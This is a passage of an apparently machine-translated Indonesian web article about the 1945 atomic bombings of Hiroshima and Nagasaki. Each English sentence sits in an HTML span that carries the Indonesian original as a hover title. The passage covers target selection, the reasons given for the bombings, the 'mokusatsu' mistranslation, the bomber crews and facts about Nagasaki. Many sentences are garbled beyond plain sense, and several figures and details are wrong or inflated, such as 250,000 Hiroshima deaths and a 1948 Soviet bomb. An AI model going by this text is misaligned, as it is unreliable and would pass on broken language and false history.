250.000 jiwa meninggal dan sisanya luka-luka.">On D-day on August 6, 1945 the first bomb exploded in the city of Hiroshima with a population of around 350,000 people (at the time), to cause the victim to 250,000 people died and the rest were wounded. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sebenarnya terdapat lebih dari 10 kota yang menjadi kandidat
target serangan bom atom, tapi karena rata-rata kota di Jepang memiliki
banyak kuil, maka AS mengeluarkan banyak kota tersebut dari daftar
target bom atom.Akhirnya yang dipilih adalah Hiroshima dan Nagasaki yang
notabene merupakan kota-">Actually there are more than 10 cities that became a candidate target of an atomic bomb attack, but because the average city has many temples in Japan, the U.S. spent a lot of the city from the list of targets chosen is atom.Akhirnya bomb Hiroshima and Nagasaki which incidentally is the city- </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="kota industri Jepang yang mensuplai peralatan militer.">Japanese industrial town that supplies military equipment. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Yang termasuk
prioritas target itu adalah berturut-turut: Kyoto, Hiroshima, Yokohama
dan Kokura.">Which includes priority targets that are consecutive: Kyoto, Hiroshima, Yokohama and Kokura. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kota-kota tersebut memang pusat industri dan militer.">These cities are industrial and military centers. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tapi Kyoto kemudian
diganti dengan Nagasaki.">But Kyoto was replaced by Nagasaki. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada hari pertama (5 Agustus), Hiroshima adalah
sasaran pertama.">On the first day (August 5), Hiroshima is the first target. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Jika cuaca tidak
memungkinkan, pilihan kedua adalah Kokura dan ketiga Nagasaki.">If the weather is not possible, the second option is the third Kokura and Nagasaki. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hiroshima adalah kota industri besar yang juga merupakan pusat
kegiatan divisi kedua tentara Jepang yang bertanggung jawab atas operasi
di selatan Jepang dan pusat komunikasi militer dan supply tentara.">Hiroshima is a major industrial city which is also the center of the second division of the Japanese soldiers in charge of operations in southern Japan and central military communications and supply armies. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sedangkan Nagasaki
adalah kota pelabuhan tempat dibuatnya kapal-kapal Jepang, termasuk
kapal perang, peralatan dan supplynya.">While the port city of Nagasaki was made where Japanese ships, including warships, equipment and supplynya. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tanpa ada bom atom pun, kedua kota
itu memang dalam rencana penyerangan AS.">Without any atomic bomb, the two cities are in U.S. attack plans. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Sebenarnya, pada awal 1945, Jepang sebagian dari pejabat Jepang
sudah lelah berperang juga, dan menasehatkan kaisar Jepang untuk
berhenti saja, namun kaisar tidak menyetujui hal tersebut.">Actually, in early 1945, the Japanese part of Japan officials are tired of war as well, and advised the emperor of Japan to stop, but the emperor did not approve it. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Bahkan sampai bom atom dijatuhkan, Jepang belum
sepenuhnya menyerah karena sebagian pejabat menginginkan Jepang
berperang sampai titik darah terakhir.">Even to the atomic bomb was dropped, Japan was not entirely give up because some officials wanted the Japanese to fight to the death last. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Namun hal ini tidak terjadi karena akhirnya kaisar turun tangan
dan menyetujui menyerah tanpa syarat.">However this is not happening because eventually the emperor intervened and agreed to surrender unconditionally. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Berbagai alasan Amerika menjatuhkan bom atom
kepada Jepang.">Various reasons Americans dropped atomic bombs on Japan. <br />
<br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="* Untuk mengakhiri perang secepatnya.">* To end the war immediately. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kelelahan luar biasa yang ditimbulkan
setelah perang di Eropa.">Unusual fatigue caused after the war in Europe. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pihak Jepang sendiri, walaupun menyadari sekutu
dekatnya, Jerman telah kalah tapi tidak mengeluarkan tanda – tanda
menyerah dengan mudah (mereka siap berkamikaze) yang dianggap akan
membawa korban jauh lebih banyak di kedua belah pihak.">Japan's own party, although aware of nearby allies, Germany has been defeated but not remove the sign - a sign of surrender easily (they are ready berkamikaze) are considered to be carrying far more casualties on both sides. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Efek Kamikaze ini benar – benar membuat
Amerika kewalahan.">Kamikaze effect is really - really makes America overwhelmed. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Contohnya pada
perang Iwo Jima dimana sekitar 5000 tentara Jepang yang sedang diserbu
US marine akhirnya banzai charge (ada yang bawa samurai, ada yang tangan
kosong) ke arah pasukan marine, hanya untuk dibabat senapan mesin.">For example in the battle of Iwo Jima where about 5,000 Japanese troops invaded the U.S. marine who was eventually banzai charge (there is a carry samurai, there is an empty hand) towards the marine forces, only to cut down a machine gun. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Bahkan sebenarnya
Amerika sudah menyiapkan Operasi Olympic untuk berjaga – jaga, jika dan
hanya jika Jepang tidak menyerah setelah di bom Atom.">In fact, America has been preparing for Operation Olympic guard - guard, if and only if Japan did not surrender after the Atomic bomb. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada awalnya
terdapat rencana Operation Olympic yang merupakan rencana untuk
penyerangan ke pulau-pulau utama di Jepang.">Initially there were plans Operation Olympic, which is a plan to attack the main islands in Japan. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pada saat itu intelijen AS memperkirakan Jepang memiliki kekuatan
sekitar 7-9 juta tentara.">At that time U.S. intelligence estimates that Japan has a strength of about 7-9 million soldiers. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Dengan memperhatikan sifat tentara Jepang yang bertempur sampai
titik darah terakhir, AS menyadari bahwa mereka akan bertempur sangat
luar biasa untuk dapat mengakhiri perang di Pasifik, yaitu sampai semua
tentara Jepang binasa, seperti pertempuran di Iwo Jima dan lainnya.">By considering the nature of the Japanese soldiers who fight to the last breath, the U.S. realized that they would fight very unusual to be able to end the war in the Pacific, ie until all the Japanese troops perished, like the battle at Iwo Jima and others. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Dan itu akan memakan waktu
yang lama dan kembali menelan korban jiwa yang sangat banyak bagi AS
sendiri.">And it will take a long time and returning casualties very much for the U.S. alone. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="* Truman saat itu juga memiliki motivasi
untuk menekan Stalin/menggertak Uni Soviet.">* Truman was also motivated to suppress the Stalin / Soviet bluff. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Namun analisa ini
tidak pernah terbukti secara nyata.">However, this analysis was never proven in practice. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Ketika itu, AS dan
Soviet masih tergabung dalam blok Sekutu melawan blok Axis, serta
suasana permusuhan atau hostilities belum ada antara AS dan Soviet.">At that time, the U.S. and the Soviet bloc was still incorporated in the Allies against the Axis block, and the atmosphere has been no hostilities or hostilities between the U.S. and the Soviets. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Lagipula dengan menjatuhkan bom atom di
Jepang, hal itu justru bukannya malah menggertak Soviet, melainkan malah
menjadi katalisator perlombaan senjata antara AS dan Soviet.">Moreover, by dropping atomic bombs on Japan, it is precisely instead of the Soviet bluff, but instead becomes a catalyst for an arms race between the U.S. and the Soviets. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Soviet menjadi tahu bahwa AS memiliki
senjata nuklir, sehingga Soviet berupaya dengan segala daya untuk
membuatnya juga.">The Soviets learned that the U.S. has nuclear weapons, so the Soviets tried with everything in his power to make it as well. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tahun 1948-an, Soviet
memiliki senjata nuklir – hanya tiga tahun berselang setelah AS
menjatuhkan bom atom di Jepang.">1948's, the Soviets have nuclear weapons - only three years ago after the U.S. dropped atomic bombs on Japan. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="* Mencegah terbagi-baginya Jepang seperti
terbaginya Jerman.">* Prevent divided her Japanese-like division of Germany. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Tapi alasan ini agak lemah, karena Sovyet
sendiri baru mengumumkan perang 8 Agustus 1945, dan walaupun mungkin
karena takut Jepang dijajah Soviet, hal itu agak lebih sulit.">But the reason is rather weak, because the Soviets had just declared war on August 8, 1945, and although perhaps for fear of the Japanese invaded the Soviet Union, it is somewhat more difficult. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kenapa?">Why? </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Karena untuk sampai ke Jepang, Soviet harus menaklukkan
Manchuria, lalu bertempur dulu menyisir Asia timur jauh untuk sampai ke
Jepang.">Because to get to Japan, the Soviets must conquer Manchuria and eastern Asia to fight once ran away to get to Japan. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Dan hal ini akan memakan waktu
yang lama.">And it will take a long time. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="* Untuk membalas kejadian Pearl Harbour.">* To reply to the Pearl Harbour incident. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sejak serangan Jepang ke AS pada
peristiwa Pearl Harbor yang menyeret AS ke dalam Perang Dunia II, AS
memang sudah punya rencana untuk membalas menyerang ke Jepang, dan
itulah salah satu sebab AS terlibat Perang Pasifik.">From Japan to the U.S. attack on Pearl Harbor that dragged the U.S. into World War II, the U.S. already had plans to return to the Japanese attack, and that's one reason the U.S. is engaged Pacific War. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Namun hasil
intelejen dan laporan militer AS menghasilkan option memakai bom atom
adalah karena dianggap penyerangan ke Jepang akan memakan waktu, biaya
dan korban jiwa yang lebih banyak padahal banyak negara sudah lelah
berperang.">But the results of U.S. intelligence and military reports generate option is to use the atomic bomb because it is considered an attack on Japan will take time, cost and casualties are much more when many countries are tired of war. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Bahkan korban
sipil akan jatuh lebih banyak bila Sekutu benar-benar menjalankan
penyerangan ke Jepang.">Civilian casualties will fall even more if the Allies actually running attack to Japan. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Itu adalah dari sudut alasan sekutu, sedangkan
pihak Jepang sendiri ada sebuah ironi yang terjadi.">That is the point of reason allies, while the Japanese side alone there is an irony that occurs. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Tanggal 26 Juli 1945 pihak sekutu menyiarkan hasil Deklarasi
Postdam yang menyatakan agar pihak Jepang menyerah tanpa syarat dalam PD
II, kalau tidak akan diserang.">Dated July 26, 1945 the Allies broadcast the results of the Potsdam Declaration stated that the Japanese surrendered in World War II, that will not be attacked. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada saat itu, pemerintah Jepang menerima tekanan pula dari
rakyatnya yang menuntut keras deklarasi tersebut.">At that time, the Japanese government is also receiving pressure from the people who loudly demanded the declaration. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Selain itu,
pemerintah juga menunggu tindakan Uni Soviet yang tetap netral tidak
menyerang Jepang.">In addition, the government is also awaiting action that the Soviet Union did not invade Japan remained neutral. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Keesokan harinya, PM Jepang, Suzuki Kantarou, mengadakan pidato
kenegaraan di radio yang disiarkan ke seluruh penjuru bumi.">The next day, Prime Minister of Japan, Suzuki Kantarou, held a speech on state radio broadcast to all corners of the earth. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pidatonya berbunyi,
“Seifu wa kore o mokusatsu shi, aku made sensou kanchiku ni maishin
suru.” Kantor berita Doumei menerjemahkan menjadi “Goverment is ignoring
the declaration and until then we still go forward with the war
solution.” Pemerintah AS yang mendengarnya mengira “">His speech reads, "Seifu wa kore o mokusatsu shi, I made sensou kanchiku maishin ni suru." Doumei news agency translates into "Government is Ignoring the declaration and until then We still go forward with the war solution." The U.S. government is expected to hear " </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="ignoring” sama
dengan “rejecting” dan 10 hari kemudian menjatuhkan bom atom di
Hiroshima yang berakibat Jepang akhirnya menyerah pada sekutu.">Ignoring "the same as" rejecting "and 10 days later dropped the atomic bomb on Hiroshima that resulted in Japan finally surrendered to the Allies. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kata yang bermasalah tersebut adalah
“mokusatsu”.">Problematic word is "mokusatsu". </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Seorang ahli bahasa yang bergerak di bidang kesalahan
penerjemahan, Torikai Kumiko, mengatakan bahwa arti yang sebenarnya dan
cocok adalah “give it the silent treatment” yang berarti pemerintah
Jepang akan diam saja dan menunggu tindakan Uni Soviet.">A linguist working in the field of translation errors, Torikai Kumiko, said that the true sense and fits the "give it the silent treatment" which means the Japanese government will stand by and wait for the Soviet Union's actions. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Jika kita ambil hikmahnya, berarti kesalahan terjemahan telah
menbuat sejarah dunia.">If we take the silver lining, it means that translation errors have been menbuat world history. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hal ini juga mempengaruhi kemerdekaan
Indonesia.">It also affects the independence of Indonesia. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Jikalau hal ini tidak terjadi, Jepang tidak
akan menyerah kepada sekutu dan Indonesia tetap terjajah.">If this does not happen, Japan would not surrender to the allies and Indonesia remained colonized. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Selain korban jiwa dan materil, banyak
sekali kerugian-kerugian yang dialami oleh Jepang akibat bom Atom.">In addition to casualties and material, a lot of losses suffered by the Japanese Atomic bomb. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hingga saat ini pun korban bom Atom tak cuma di Jepang saja tapi
sudah menyebar ke seluruh penjuru dunia dengan penyakit yang disebut
Leukimia atau kanker darah.">Until now, even the Atomic bomb victims not only in Japan but has spread all over the world with a disease called leukemia or blood cancer. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Gambar korban bom atom Hiroshima – Nagasaki">Figure A-bomb victims of Hiroshima - Nagasaki <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pada saat terjadinya pemboman tersebut, Presiden
AS Harry S Trumman mengumumkan nya lewat kapal USS Augusta dari tengah
perairan Atlantik dan berujar bahwa perangkat itu (bom atom) 2.000 kali
lebih hebat hulu ledaknya dari semua bom yang pernah terpakai/ada di era
tersebut,dan pemilihan">At the time of the bombing, U.S. President Harry S Trumman announced its passing the USS Augusta from the middle of the Atlantic waters and said that the device (bomb) 2,000 times more powerful than any bomb explosion upstream ever used / was in that era, and the election </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="kota Hiroshima atas
dasar alasan bahwa kota tersebut merupakan salah satu depot penting
bagi pemasok perangkat peperangan tentara kekaisaran Jepang.">Hiroshima city on the grounds that the city is one of the important depot for the supplier of the Japanese empire army warfare devices. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="gambar rekonstruksi pemboman hiroshima"><br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Beberapa tahun silam lalu, beberapa pelaku pemboman, baik pihak
Jepang saat membom Pearl harbor ataupun pihak Amerika saat membom Atom
Hiroshima Nagasaki bertemu dalam sebuah reuni, mereka saling bermaaf
maaf an dan mengungkapkan kekesalan dan penyesalan atas apa yang mereka
lakukan atas nama nasionalisme kebangsaan dan patriotisme">A few years ago ago, some of the bombers, either during the Japanese bombed Pearl Harbor or the current American bombing of Hiroshima Nagasaki Atomic met in a reunion, they bermaaf each other's forgiveness and express resentment and regret over what they do in the name of nationality and nationalism, patriotism </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="tersebut dan menyatakan turut menyesal karena telah
menjadi bagian buruk dalam sebuah sejarah pembunuhan massal tersebut.">and expressed sorry for being such a bad part in a history of the massacre. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Tidak ada dendam
diantara mereka, mereka saling berbicara dari hati ke hati sambil
mengenang masa suram saat muda mereka beberapa waktu silam saat berjuang
membela bangsa nya masing masing.">There is no animosity between them, they talk to each other heart to heart as he recalled the dark days of their youth when some time ago when it struggled to defend their respective nations. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Kol.Paul Tibbets berfoto di depan pesawat B-29 Superfortress
“Enola Gay” dan gambar di bawah adalah B-29 Superfortress “Bockscar” dan
crew crew nya"><br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sang pelaku Paul Tibbets, yang merupakan pilot
pesawat bomber tersebut saat meninggal menginginkan untuk dikremasi
jenazahnya dan menguburkan nya dalam sebuah kubur tak bernisan, dengan
alasan agar tidak di ziarahi oleh para aktivis anti penggunaan senjata
nuklir.">The actor Paul Tibbets, who is a pilot died when the bomber wanted to be cremated and buried his corpse in a grave not bernisan, for reasons that are not in ziarahi by activists of anti use of nuclear weapons. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hari ini yang kita takutkan adalah jangan sampai
terjadi perang dunia ketiga.">Today we fear is not to place third world war. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="mengapa?">why? </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="karena bila itu sampai terjadi seperti banyak perkiraan yang ada
selama ini, kemungkinan besar Amerika akan menggunakan senjata Nuklir
yang lebih besar hulu ledaknya dari yang dijatuhkan di Hiroshima dan
Nagasaki silam.">because if that happens as there are many estimates that over the years, most likely the U.S. will use nuclear weapons is greater than the upper explosive dropped on Hiroshima and Nagasaki ago. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Tentunya bila hal itu terjadi bumi ini akan
benar benar hancur oleh keserakahan perang, dan secara tak langsung
manusia akan menciptakan kiamatnya sendiri.">Surely if it happens the world will truly devastated by the greed of war, and indirectly the human will create its own end of the world. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="THE
HORROR OF WAR !">WAR OF THE Horror! </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Menang jadi arang kalah jadi abu">Win lose so charcoal ashes <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Kini, kota Hiroshima dan Nagasaki telah bangkit dari penderitaan
atas horor perang masa silamnya, Jepang adalah negara yang cepat pulih
dan bangkit (walaupun Jepang sendiri merupakan penjajah kita), gempa
Kobe yang meluluhlantakkan kobe dan menghancurkan kota itu kini sudah
menjelma menjadi kota metropolitan.">Now, the city of Hiroshima and Nagasaki had risen from suffering the horrors of war during silamnya, Japan is a country which quickly recovered and got up (although Japan itself is our colonizers), the Kobe earthquake that devastated Kobe and destroyed the city has now been transformed into a metropolis. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Bagaimana pun Perang membuat banyak
orang menderita, Let's Fight Against War !">In any war makes many people suffer, Let's Fight Against War! <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Berikut Crew crew pesawat B-29 Superfortress
yang terlibat dalam pengeboman tersebut:">Here Crew crew B-29 Superfortress involved in the bombing: <br />
<br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="* Crew Enola Gay (pembom Hiroshima): Kolonel
Paul W.">* Crew Enola Gay (Hiroshima bomber): Colonel Paul W. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Tibbets (pilot),
Maj.RobertA.Lewis (kopilot), Ted Van Kirk (navigator), Kolonel Laut
William S.">Tibbets (pilot), Maj.RobertA.Lewis (copilot), Ted Van Kirk (navigator), Marine Col. William S. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Parsons (yang mengaktifkan bom sebelum
dijatuhkan), Kapten Thomas W.">Parsons (which activate the bomb before it was dropped), Capt. Thomas W. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Frebee (juru
bidik/pelepas bom),Sersan Bob Caron (defender belakang pesawat bagian
ekor untuk menjaga kemungkinan serangan fighter Jepang)">Frebee (interpreters shutter / release bombs), Sgt Bob Caron (defender back of the plane's tail to keep the possibility of Japanese fighter attacks) <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="* Crew Bockscar (pembom Nagasaki) : Major Charles W.">* Crew Bockscar (Nagasaki bomber): Major Charles W. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Sweeney (sebagai
pilot),Captain Charles Albury (kopilot), Kapten James Van Pelt
(navigator), Kapten Kermit Beahan (pembom), SSgt Ray Gallagher
(gunner/penembak), Edward SSgt Buckley (operator radar)Sersan Abe
Spitzer(operator radio">Sweeney (as pilot), Captain Charles Albury (copilot), Captain James Van Pelt (navigator), Capt. Kermit Beahan (bomber), SSgt Ray Gallagher (gunner / sniper), SSgt Edward Buckley (radar operator) Sergeant Abe Spitzer (radio operator </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="),Sersan Albert DeHart (gunner/defender bagian ekor pesawat)">), Sgt Albert DeHart (gunner / defender the tail) <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Nagasaki">Nagasaki <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Nagasaki (長崎市; -shi) adalah ibu kota dan kota
terbesar di Prefektur Nagasaki yang terletak di pesisir sebelah barat
daya Kyushu, Jepang.">Nagasaki (长崎 市;-shi) is the capital and largest city of Nagasaki Prefecture, located on the southwest coast of Kyushu, Japan. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Lokasi
geografisnya adalah 32°44′ LU 129°52′ BT.">Its geographical location is 32 ° 44 'N 129 ° 52' East Longitude. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Nagasaki adalah
pusat pengaruh Eropa di Jepang pada zaman pertengahan.">Nagasaki was the center of European influence in medieval Japan. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kota
Nagasaki yang merupakan kota pelabuhan di Jepang merupakan kota yang
tidak terisolasi pada waktu jepang menerapkan politik Isolasi(SAKKOKU).">Nagasaki City which is a port city in Japan is a city that is not isolated at the time of Japan's political apply Isolation (SAKKOKU). </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Pengaruh Eropa
juga sangat terlihat dengan pesatnya perkembangan agama kristen di kota
Nagasaki pada zaman tersebut dan banyaknya peninggalan bersejarah
berupa bangunan-bangunan Gereja yang masih terawat hingga saat ini dan
dijadikan sebagai obyek wisata.">European influence is also very visible with the rapid development of Christianity in the city of Nagasaki of the era and the many historic relics of the church buildings are still preserved to this day and serve as a tourist attraction. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Kota Nagaski juga merupakan kota kedua di mana
bom atom dijatuhkan oleh Amerika Serikat pada Perang Dunia II.">Nagaski city is also the second city in which the atomic bomb was dropped by the United States in World War II. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Di kota ini juga dibangun Musium Bom Atom Nagasaki
(Nagasaki Genbaku Shiryoukan) sebagai lambang peringatan bagi bangsa
jepang dan seluruh pengunjung akan bahaya dan penderitaan akibat bom
atom yang diledakkan di kota tersebut.">In this city also built the Atomic Bomb Museum Nagasaki (Nagasaki Genbaku Shiryoukan) as a symbol of warning to the Japanese nation and all visitors of the dangers and suffering caused by the atomic bomb that was detonated in the city. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Nagasaki terletak di ujung teluk yang panjang
yang membentuk pelabuhan alami terbaik di pulau selatan Jepang Kyushu.">Nagasaki lies at the end of a long bay which forms the best natural harbor on the southern Japanese island of Kyushu. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Kawasan perdagangan utama dan wilayah
pemukiman di kota ini terletak di dataran kecil dekat ujung teluk.">The main commercial area and residential areas in the city is situated on a small plateau near the end of the bay. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Dua sungai yang dibelah oleh
sebuah gunung membentuk dua lembah utama di mana kota ini terletak.">Two rivers are cleaved by a mountain valley into two main areas where the city is located. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Wilayah pusat kota ini dibatasi oleh “terrain” tidak lebih dari 4
mil persegi dari total sekitar 35 mil persegi kota ini secara
keseluruhan.">Downtown area is limited by the "terrain" no more than 4 square miles of a total of about 35 square miles of this city as a whole. </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Pada 2003, kota ini
memiliki populasi sebesar 418.901 jiwa dan kepadatan penduduk 1.736,74
orang per km².">In 2003, the city has a population of 418,901 people and a population density of 1736.74 persons per km ². </span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Luas wilayah totalnya adalah 241,20 km².">The total area is 241.20 km ² in total. <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" title="Hiroshima">Hiroshima <br />
</span><span onmouseout="this.style.backgroundColor='#fff'" onmouseover="this.style.backgroundColor='#ebeff9'" style="background-color: white;" title="Hiroshima (広島市 ,Hiroshima-shi?) adalah kota di Jepang, tepatnya
